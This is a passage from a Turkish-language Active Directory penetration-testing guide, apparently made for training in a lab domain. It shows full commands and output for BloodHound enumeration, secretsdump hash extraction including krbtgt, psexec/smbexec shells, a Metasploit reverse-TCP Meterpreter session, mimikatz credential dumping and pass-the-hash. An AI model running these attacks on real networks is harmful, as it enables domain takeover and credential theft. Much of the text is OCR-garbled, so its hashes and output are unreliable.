$krb5tgs$23%$+bilgin.metin$BUSIBER.LOCAL$busiber.local/bilgin.metin*$0dd582b83872e669a16d4cd09e43714d$5a9
f@bac77aebf5f9d@9c00d11d0653c426b5b735e515554ab61aa%9al17fb896718f5f9b2fae4641a3a17b855292130896ef705d73426
62f09c7ff07219479697e9fc5d44c@e9cf4ct79ce36214d279e1db9ccfc96258bbd9e859e02b2f1ca2c709156840c4d200f7422
93f3de343c6bd6bae29815fech67156e63a483ea5eb8e42633bdf0c6863Fce@c474247F8975f8aa37fe4ff7¢cal803f9c3bfbbeeac
fb86d31f123350e1270d0cb2dcfe210a9c2123d19d0ab30b8032b31%9acde7efbcatdc83ed0b61800431a375dfd0ad8886d6074261
1d43452333492294cc52262c1e820aa8e60d9d7a60c191407cc260f5bc4k4ff677b8b4a86628eec41b4984703748db512a3¢c@f15b
a5ba97d6a9d926050bba2391082116f69d2ad0adb35d45842763¢c99885¢c65f56469896Tee7dd8754fe3f6a068ae59f38d879c50c¢C
e8b7b14f4al10abd22c1013d25ea6d35948167c57451Ff5b3c2ffale@93e6c5054150b12a165b3b56cadcfb7106a86cd2b994df8e3
4da8aba36fe76d0fad@65c7dech937a2db9dccc8aala9af264f4346bf8e944a23bf970e3e85386fefalf234df737d28534b04TF67
1618594d9b6aea960a86563c373010521eal198dff4bf349f9c3ec947744d7016e7a045713ed2fa%9ce53a3c82e76502396dadfdfc
53847f00a4c86cd39363c73010a7e173b3e543a688093304eb6fb07e2b2bf96d9e@87e241073f6cch8d7da285a567dadcs6d2f5f
455adc28dea51dc31a0941485a7a2bb0fd48d53afed7e68fc092b3ff1eb64c039e532c5das946e7b21e277aacefed@9606658fd6ct
3d4c25a6e2bbcdl4b6acff5a6776ccb9122flacbebba2dse5dafe83d8c859af44c61141a92¢c147616d16241b%eebsb3a51ddes5971
88480a98fc68bal82ch4131239f23fa21f06316cc52d2fdb7f3591d1fe5f8d721e9b0f017aa3c574405d29575130d46F7e86961b
dbeb6b278f8aff8195c7c68ccf3925090cd56144d1f52f042F5426e64cal@cdf51fa@b905347681ed4bclfbe8a82bf857db68adf
903d1a179d18bf7ec48bd5d7fbd23448f9a5¢cc4chb7e926291a4b54056e053ele501bf4d72add1f6le7f22af%9e2d@111bab4a2eb?
9b8f527784ac5d284a52e3aa41dd45d5ab602db9318a9ee8b758c5434630bb18a3edalb0564577a2a8c88dladada8190b55F874d
f6f2508d39eel3bff22fdcacl4lcccd9f9986d117203f06bd6ealf563c1257227caa3a946102b2del1db3299017a805d1b6bab65021
f3ffasb35b213ff51776d6125Ff7f77a3a5d48ab7a994f379c4e3c4140b13c4fc20e831c5daae3322claec8aec8b843ed056912
3456
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11. BloodHound

BloodHound, Active Directory ortamindaki gizli ve genellikle istenmeyen iliskileri ortaya ¢ikarmak icin
kullanilan gorsel ve grafik tabanli bir yazilimdir. Sizma testi esnasinda, Active Directory ortaminda gliven
iliskileri, ACL, potansiyel saldiri yollari gibi bilgileri kolayca belirlemek icin BloodHound'u kullanabiliriz.

Verileri Linux tabanli cihazimizdan elde edebilmek i¢in BloodHound’un python ingestor’unu kullanacagiz.
Python ingestor’un elde ettigi bilgileri daha sonra Neo4j veritabanini kullanan BloodHound

git clone https://github.com/fox-it/BloodHound.py.git

I—_ 5it clone https://github.com/fox-it/BloodHound.py.git]]

cd BloodHound.py
sudo pip install .

L

I—_ ~d BloodHound.

- ~/BloodHound. py |
I—_ install

Domain hakkinda bilgileri edinebilmek icin, gecerli bir kullaniciyla ingestor’u ¢alistiralim.

bloodhound-python -ns 192.168.0.4 -d busiber.local -u yusuf.akca -p 1g2w3e4R -gc DCO1.busiber.local -c
all

~/BloodHound. py
192.168.0.4 busiber.local yusuf.akca 1q2w3e4R DCO1.busiber.local all

: Found AD domain: busiber.local
: Connecting to LDAP server: DCO1.busiber.local
: Found 1 domains
: Found 1 domains in the forest
: Found 5 computers
: Connecting to LDAP server: DC@1l.busiber.local

: Found 55 users

: Found 59 groups

: Found @ trusts

: Starting computer enumeration with 10 workers
: Querying computer: MUHASEBE@1.busiber.local

: Querying computer: DCOl.busiber.local

: Done in Q@M 00S
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BloodHound python ingestor’u gerekli Domain bilgilerini topladiginda, calistirdiginiz dizine 4 adet json

dosyasi olusturacak.

e domains.json

e computers.json
® users.json

e groups.json

BloodHound python ingestor’'u Domain hakkinda topladigi bu bilgiler sayesinde saldiri araylziimiz
genislemis olacak ve bu bilgileri grafik olarak anlamlandirdigimizda Domain icerisinde zafiyet teskil edecek
yapilandirmalari tespit edebilecegiz.

File Edit View Go

€< L | |

DEVICES
_E File System
PLACES

B kali

Documents
Music
Pictures
Videos
Downloads
NETWORK
D Browse Network

BloodHound.py - File Manager

HELp

[home/kali/BloodHound.py/

+ B B

bloodhound  bloodhound.py computers.json Dockerfile

domains.json groups.json LICENSE README.md

@

users.json

json":110.5 KiB (113,112 bytes) JSON document

USErs.|
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Github tizerinden BloodHound uygulamasini indirelim.

github.com / iH : tag/a n @ e <

dHoundAD / BloodHound @® Watch ~ 358 7 Star 6.1k %

le Issues 88 Pull requests 17 ») Actions Projects L wiki Security Insights

_Latest release )

BloodHound 4.0.1

©4.01
e rvazarkar released this on Nov 26, 2020 - 14 commits to master since this release
-O- 1f2bd96 -
Compare v This release fixes the issue with prebuilt queries not displaying correctly

v Assets 8

@ BloodHound-darwin-x64.zip 98.4 M8
@ BloodHound-linux-arm64.zip 101 MB
@ BloodHound-linux-armv7l.zip 89.3 MB
@ BloodHound-linux-x64.zip 97.7 MB
@ BloodHound-win32-ia32.zip 91.9 MB
@ BloodHound-win32-x64.zip 95 MB

[2) Source code (zip)

[?) Source code (tar.gz)

BloodHound, neo4j altyapisini kullanmakta. Neo4j indirme islemini gerceklestirelim

sudo apt update
sudo apt install neo4j

I—_ L update

[sudo] password for kali:

Hit:1 http://kali.download/kali kali-rolling
Reading package lists ... Done

Building dependency tree

Reading state information ... Done

1142 packages can be upgraded. Run 'apt list

[ s

Reading package
Building depe
Reading stat
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rg— -[~/BloodHound-1linux-x64
‘ console

Directories in use:

home: /usr/share/neo4]j

config: /usr/share/neo4j/conf

logs: /usr/share/neo4j/logs

plugins: /usr/share/neo4j/plugins

import: /usr/share/neo4j/import

data: Jusr/share/neo4j/data

certificates: /usr/share/neo4j/certificates

run: Jusr/share/neo4j/run
Starting Neo4j.
WARNING: Max 1024 open files allowed, minimum of 40000 recommended. See the Neo4j manual.
2021-02-07 17:29:35.195+0000 INFO Starting...
2021-02-07 17:29:37.013+0000 INFO ———— Neo4j 4.2.1 ————
2021-02-07 17:29:38.427+0000 INFO Initializing system graph model for component 'security-user
tus UNINITIALIZED
2021-02-07 17:29:38.431+0000 INFO Setting up initial user from defaults: neo4j
2021-02-07 17:29:38.431+0000 INFO Creating new user 'neo4j' (passwordChangeRequired=true, suspg
2021-02-07 17:29:38.437+0000 INFO Setting version for 'security-users' to 2
2021-02-07 17:29:38.440+0000 INFO After initialization of system graph model component 'securif
nd status CURRENT
2021-02-07 17:29:38.443+0000 INFO Performing postInitialization step for component 'security-ug
tatus CURRENT
2021-02-07 17:29:38.643+0000 INFO Bolt enabled on localhost:7687.
2021-02-07 17:29:39.429+0000 INFO Remote interface available at http://localhost:7474/
2021-02-07 17:29:39.430+0000 INFO Started.
2021-02-07 17:30:07.579+0000 WARN The client is unauthorized due to authentication failure.

indirdigimiz BloodHound uygulamasini ¢alistiralim.

~/BloodHound-1linux-x64&
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Neo4j veritabaninin varsayilan kullanici bilgileri neo4j:neo4;j

BloodHound

Log in to Neo4j Database

bolt:/localhost: 7687

Login

BloodHound’u kullanabilmemiz igin, neo4j veritabaninin varsayilan parolasini degistirmemiz gerek.
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localhost:7474/browser/

s - BloodHound/” X = § Neo4jBrowser
@ © @ localhost o

Kali Training Kali Tools « Kali Docs Kali Forums NetHunter || Offensive Security Exploit-DB

Database access not available. Please use to establish connection. There's a graph waiting for you.

Database access Database - leave empty for default
might require an
authenticated

connection. s
Authentication type

Username / Password

Username

neo4j

Password
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s - BloodHound” X = @ Neo4jBrowser
@ © @ localhost Ty

Kali Training Kali Tools <« Kali Docs Kali Forums NetHunter |[| Offensive Security Exploit-DB

Database access not available. Please use to establish connection. There's a graph waiting for you.

5 :server connect

Connect to New password

Neod I -

Database access Repeat new password

might require an
. @
authenticated

connection.
Change password

Neodj parolasini degistirdikten sonra, BloodHound uygulamasina giris yapabiliriz. Giris yaptiktan sonra
bloodhound-python ingestor’'unun topladigi bilgileri json formatinda sisteme yikleyiniz.

BloodHound - O x

mn

A K Y c
Export Graph &,

FA

®

iii

r

3
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computers.json
Upload Complete 100%

groups.json
Upload Complete 100%

domains.json

Clear Finished

[ - |
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ilgili dosyalar sisteme yiiklendikten sonra, BloodHound icerisinde gelen varsayilan sorgular ile Domain
hakkinda daha fazla bilgi sahibi olabilir, saldiri araylziini genisletebilir ve zafiyet teskil eden iliskileri tespit
edebilirsiniz.

Search for a node A K Y

Database Info Node Info Analysis

Pre-Built Analytics Queries

Find all Domain Admins

Find Shortest Paths to Domain Admins

Find Principals with DCSync Rights

Users with Foreign Domain Group Membership

Al Groups with Foreign Domain Group Membership

Map Domain Trusts

Shortest Paths to Unconstrained Delegation Systems
Shortest Paths from Kerberoastable Users

Shortest Paths to Domain Admins from Kerberoastable Users
Shortest Path from Owned Principals

Shortest Paths to Domain Admins from Owned Principals
Shortest Paths to High Value Targets

Find Computers where Domain Users are Local Admin
Shortest Paths from Domain Users to High Value Targets
Find All Paths from Domain Users to High Value Targets
Find Workstations where Domain Users can RDP

Find Servers where Domain Users can RDP

Find Dangerous Rights for Domain Users Groups

Find Kerberoastable Members of High Value Groups

List all Kerberoastable Accounts

Find Kerberoastable Users with most privileges

Find Domain Admin Logons to non-Domain Controllers
Find Computers with Unsupported Operating Systems
Find AS-REP Roastable Users (DontReqPreAuth)
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1
Lo
-
r
-«

NINISTRATOR@BUSIBER.LOCAL

- B K ii @ I B Q

D)
-BUSIBER.LOCAL
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12. secretsdump.py

secretsdump.py, impacket araclarinin icerisinde hedefin SAM ve NTDS.dit veritabanini ele gegcirmemize
olanak saglayan bir aractir. Veritabani icerisindeki kullanici hashlerini ele gegirdikten sonra yerel olarak
BruteForce ve Dictionary Attack gibi saldirilarla bu hashleri ¢6zlip parolalari elde edebiliriz veya hashleri
¢6zmemize gerek kalmadan “Pass-The-Hash” yontemini kullanarak hedef bilgisayarlarda oturum elde
edebiliriz.

secretsdump.py BUSIBER/Administrator:’1g2w3e4R’ @192.168.0.4

e BUSIBER/Administrator: '1g2w3e4R'®192.168.0.4
Impacket v0.9.23.dev1+20210127.141011.3673c588 - Copyright 2020 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state

[*] Starting service RemoteRegistry

[*] Target system bootKey: 0xa06a844294b43229947eabd68f66a816

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:342db56deb94d391ab4c2721aclc6f85:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢c59d7e0c089¢c0 :::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢c59d7e0c089¢cO :::

[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.

[*] Dumping cached domain logon information (domain/username:hash)

[*] Dumping LSA Secrets

[*] $MACHINE.ACC
BUSIBER\WIN-FNG7ILTBOHO$:aes256-cts-hmac-shal-96:452elcdb6dfc91bed@4c4te3b6bc26adc6958e6ddf0a72121fddae78b4165Fb1fa
BUSIBER\WIN-FNG7ILTBOHO$:aes128-cts-hmac-shal-96:bec9f576e069d12fcele2f7605a7014b
BUSIBER\WIN-FNG7ILTBOHO$:des-cbc-md5:9bb6409810d@dfchb
BUSIBER\WIN-FNG7ILTBOHO$:plain_password_hex:b13921c399cle37edc4db73bf178711cbbae776c3cbfd83f291984b78301b17850d52
796893789c911afb@5a768b495b035¢c543317f65a8ee3c672097c572ff7310adeb0e9444b1e02da947f879d3718dcbe920d35495391bb805dY
9ae4d2e7eb3233787a025537b0639b80cfff98127cb1f1bd3449aallccb2@3b2ece95d1e8a9477c3b69e97094bb82cd7a5146eed@15¢c2a972

a7bb10938484d19afa9965336eda8153b6a37297416a5f34aa2422221a703fbd505¢c0ae15292849¢c6¢c579a862
BUSIBER\WIN-FNG7ILTBOHO$:aad3b435b51404eeaad3b435b51404ee:0cbes6468baa952625b43c3b283F292
[*] DPAPI_SYSTEM
dpapi_machinekey:0xc5d27861835c03d149081f5b8227c@75fef48c7d
dpapi_userkey:0xe49b4b4ca289a818c5¢c6f0ea72075bd48d7fc069

[*] NL$KM

0000 3E A9 22 E3 EF 11 98 7A 8A 98 16 68 2A C@ BO 21 =

SRR ZL
0010 6C 24 C9 70 B3 24 F1 4E 41 EC 22 1B 11 43 74 49 LEipi . ARG
0020 09 9C C8 EA 96 50 93 8B A4 F1 17 DB 96 EF FD 01
0030 B7 C8 DD FE D6 FF 7D 7C 48 A®@ 9A 35 64 BD 29 8F }|RLosd. ).
NL$KM:3ea922e3ef11987a829816682ac0b0216c24c970b324F14e41ec221b11437449099cc8ea9650938basf117db96effd01b7c8ddfed6f
[*] Dumping Domain Credentials (domain\uid:rid:1lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:342db56deb94d391ab4c2721aclc6f85:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢c59d7e0c089¢c0 :::
krbtgt:502:aad3b435b51404eeaad3bs35b51404ee:3f406cb32b30c57affbd8a244154e63F 11
yusuf.akca:1103:aad3b435b51404eeaad3b435b51404ee:342db56deb94d391ab4c2721aclc6f85:::
busiber.locall\carmencita.chanda:1104:aad3b435b51404eeaad3b435b51404ee:dceba220d815799e5f3faes
busiber.local\neila.norma:1105:ai Ekran Resmi ©23d3b435b51404ee:c173709f4c8d7ca40f7c291baa8cdef0
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13. Oturum Alma ve Komut Calistirma Yontemleri
13.1. PsExec

psexec.py, Windows tarafinda kullanilan PsExec aracinin impacket araglarinin icinde python diliyle yazilmis
bir versiyonudur. Sistem yoneticileri tarafindan uzaktan komut galistiriimak igin kullanilan PsExec aracini
sizma testi esnasinda bir sisteme sizip oturum almak igin kullanabiliriz. PsExec araci hedef bilgisayara
baglandiktan sonra bir payload araciligiya baglanti verdigi icin, AV/EDR gibi trtinlere yakalanma ihtimaliniz
yuksek.

psexec.py BUSIBER/Administrator@192.168.0.10

sudo BUSIBER/Administrator®192.168.0.10
Impacket v0.9.23.dev1+20210127.141011.3673c588 - Copyright 2020 SecureAuth Corporation

Password:

[*] Requesting shares on 192.168.0.10

[*] Found writable share ADMINS%

[*] Uploading file BwygTaUp.exe

[*] Opening SVCManager on 192.168.0.10

[*#*] Creating service FgMY on 192.168.0.10

[*] Starting service FgMY

[!]1 Press help for extra shell commands

Microsoft Windows [Version 10.0.19042.746]

(c) 2020 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>ipconfig

Windows IP Configuration

Ethernet adapter Ethernet:

Connection-specific DNS Suffix . :

Link-local IPv6 Address . . . . . : fe80::3815:f395:f090:94bc%14
IPv4 Address. . . . . . « « .« . . : 192.168.0.10

Subnet Mask & ¢« & &« &« &« & +« « « - 255.255.255.8

Default Gateway . . . . . . . . . : 192.168.0.1

C:\Windows\system32>
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13.2. SMBExec

SMBExec, PsExec’den farkli olarak hedef bilgisayara payload yiikleyip c¢alistirmak yerine SMB protokolii
tizerinden baglanip DCE/RPC araciligiyla belirtilen cmd.exe komutunu ¢alistirip, komutun ¢iktisini ¢alistigi
yerel bilgisayarda bir SMB sunucusu acgarak iletisim kurma prensibine dayanan bir aragtir.

smbexec.py BUSIBER/Administrator@192.168.0.19

g BUSIBER/Administrator@l92.168.0.10
Impacket v@.9.23.dev1+20210127.141011.3673c588 - Copyright 2820 SecureAuth Corporation

Password:
[!] Launching semi-interactive shell - Careful what you execute

C:\Windows\system32>ipconfig

Windows IP Configuration

Ethernet adapter Ethernet:

Connection-specific DNS Suffix
Link-local IPv6e Address

IPv4 Address.

Subnet Mask

Default Gateway

C:\Windows\
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13.3. Metasploit

Metasploit icerisinde bulunan exploit/windows/smb/psexec modiili ile yukarida PsExec modli gibi
oturum alabiliriz. Metasploit icerisinde payload’l generic/custom olarak belirtip kendi hazirlamis
oldugumuz ve AV’ler tarafindan tespit edilemeyin bir zararli yazilim vererek istedigimiz dosyayi
ylkleyebiliriz.

msfe exploit( RHOSTS 192.168.0.10
RHOSTS = 192.168.8.1@

msf6 exploit( SMEDomain BUSIBER
SMBDomain = BUSIBER

msfe exploit( SMEPass l1g2w3e4R
SMBEPass = 1g2w3e4R

msfe exploit( SMEUser Administrator
SMBUser = Administrator

msfe exploit(

Started reverse TCP handler on 192.168.0.6:4444

192.168.0.10:445 - Connecting to the server...

192.168.0.10:445 - Authenticating to 192.168.0.10:445|BUSIBER as user 'Administrator’ ...
192.168.0.10:445 - Selecting PowerShell target

192.168.0.10:445 - Executing the payload...

192.168.0.10:445 - Service start timed out, OK if running a command or non-service executable...
Sending stage (175174 bytes) to 192.168.0.10

Meterpreter session 1 opened (192.168.0.6:4444 — 192.168.0.10:49786) at 2021-02-07 18:10:11 -0500

meterpreter > whoami
Unknown command: whoami.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > [j

meterpreter > ps

Process List

Name Session

[System Process]

System

Registry

SmMSs.exe

svchost.exe NT AUTHORITY\SYSTEM C:\Windows\System32\

svchost.exe NT AUTHORITY\SYSTEM C:\Windows\System32\

CSrss.exe
svchost.exe NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\
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» migrate 376
ating from 1876 to
tion completed suc
r > load kiwi
Loading extenslon kiwil .
. HHHE . mimikatz E.L.@ 28191125 (x64/windows )
"A La Vie, A L"Amour” - (oe.eo)
/%% Benjamin DELPY "gentilkiwi ™ ( benjamin@gentilkiwi.com )
> http://blog.gentilkiwi.com/mimikatz
Vincent LE TOUX ( vincent.letoux@gmail.com )
> http://pingcas / http://mysmartlogon.com k*/

Success

meter

[+] Running as SY
Retrieving al

msv credentials

Username Domain NTLM

Administrator BUSIBER 342db56deb94d39lab4c272laclce
6ea5a@311az27efs53b
MUHAEEEE@1$ BUSIBER 1b3eb63s57ffble1309daa78908439d9




BOGAZIiCi UNIVERSITESi YBS SIiBER GUVENLiIK MERKEZI

13.4. Pass The Hash

Pass-the-Hash (PtH), saldirganlarin ¢esitli saldirilar (secretsdump, mimikatz, kiwi vb.) sekilde elde etmis
oldugu NTLM hashlerini BruteForce ve Dictionary Attack gibi saldirilara gerek duymadan, yani hash’i
kirmadan direkt olarak hash ile oturum agmasini saglayan bir saldiridir.

PsExec, CrackMapExec gibi araglar kullanarak PtH metodu ile oturum alabilir/komut galistirabiliriz.

=
=

X p'l oit( )
42db56deb94d391ab4c2721aclc F:.-
aad3b435b51484eeaadibs 4dbee:342db56deb94d391absc2721aclch

= .

[y W]

RHOSTS 192.168.0.18@

=
L
—+
[yl

(R [«

192.168.09.18@
xploit( ) » set SMBDomaim BUSIBER
nain = BUSIBER
WSFE exploit( } » set SMBUser Administrator
SMBUser = Administrator
msfe exploit(

e
(7 -
= 2

sy

=
=

msfé exploit( } > run

Started reverse TCP handler onm 192.168.0.6:4444
192.168.0.10:445 - Connecting to the server

192.168.0.10:445 - Authenticating to 192.168.0.10:445|BUSIBER as user
Administrator’ ...
192.168.0.10: 4L Xxecuting e payload.
[+] 192.168.0.10:445 Service ar 1med GUT OK if running a command or
non-service ex able
Sending s ;: 1*4 bytes) to 192.168.0.10
te

MﬂTﬂrpxﬂ on 1 opened (192.168.0.6:4444 — 192.168.0.10:4978
2021-082-13 123 -850a

Hardware MAC
MTU

IPv4 Addre
TPv4 Netm:
IPvE

IPvE
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— ) busiber.local/Administrator@192.168.0.10 aad3b&35b51404993&d3b435b5140hee:3A2d056d-1;2£;
eb94d391ab4c2721aclc6f85

Impacket v0.9.23.dev1+20210127.141011.3673c588 - Copyright 2020 SecureAuth Corporation

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>ipconfig

Windows IP Configuration

Ethernet adapter Ethernet:

Connection-specific DNS Suffix

Link-local IPv6 Address . . . . . : fe80::3815:f395:f090:94bc%14
IPV4-AdAresSSccine srpe7s o sneAd 523192.168:0.10

Subnet-Mask icscnsnsicistnrahnrs o 2290:255:255:9

Default GatewaV . fédnimieindeanne iy-392:968.0:%

C:\Windows\system32>]]
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14. Kaynakca

https://attack.mitre.org/techniques/T1557/001/

https://attack.mitre.org/techniques/T1003/

https://attack.mitre.org/techniques/T1558/003/

https://attack.mitre.org/techniques/T1558/004/

https://attack.mitre.org/techniques/T1021/002/

https://attack.mitre.org/techniques/T1003/002/

https://attack.mitre.org/techniques/T1003/003/

https://en.hackndo.com/ntim-relay/#ntlm-relay

https://www.tarlogic.com/en/blog/how-kerberos-works/

https://www.tarlogic.com/en/blog/how-to-attack-kerberos/

https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/

https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/

https://www.scip.ch/en/?labs.20181011

https://luemmelsec.github.io/Relaying-101/

https://en.hackndo.com/pass-the-hash/#protocol-ntlm

https://ernw.de/download/BloodHoundWorkshop/ERNW DogWhispererHandbook.pdf

https://adsecurity.org/?p=2398

https://engindemirbilek.github.io/smb-relay-saldirilari-hash-kirma-yonlendir.html
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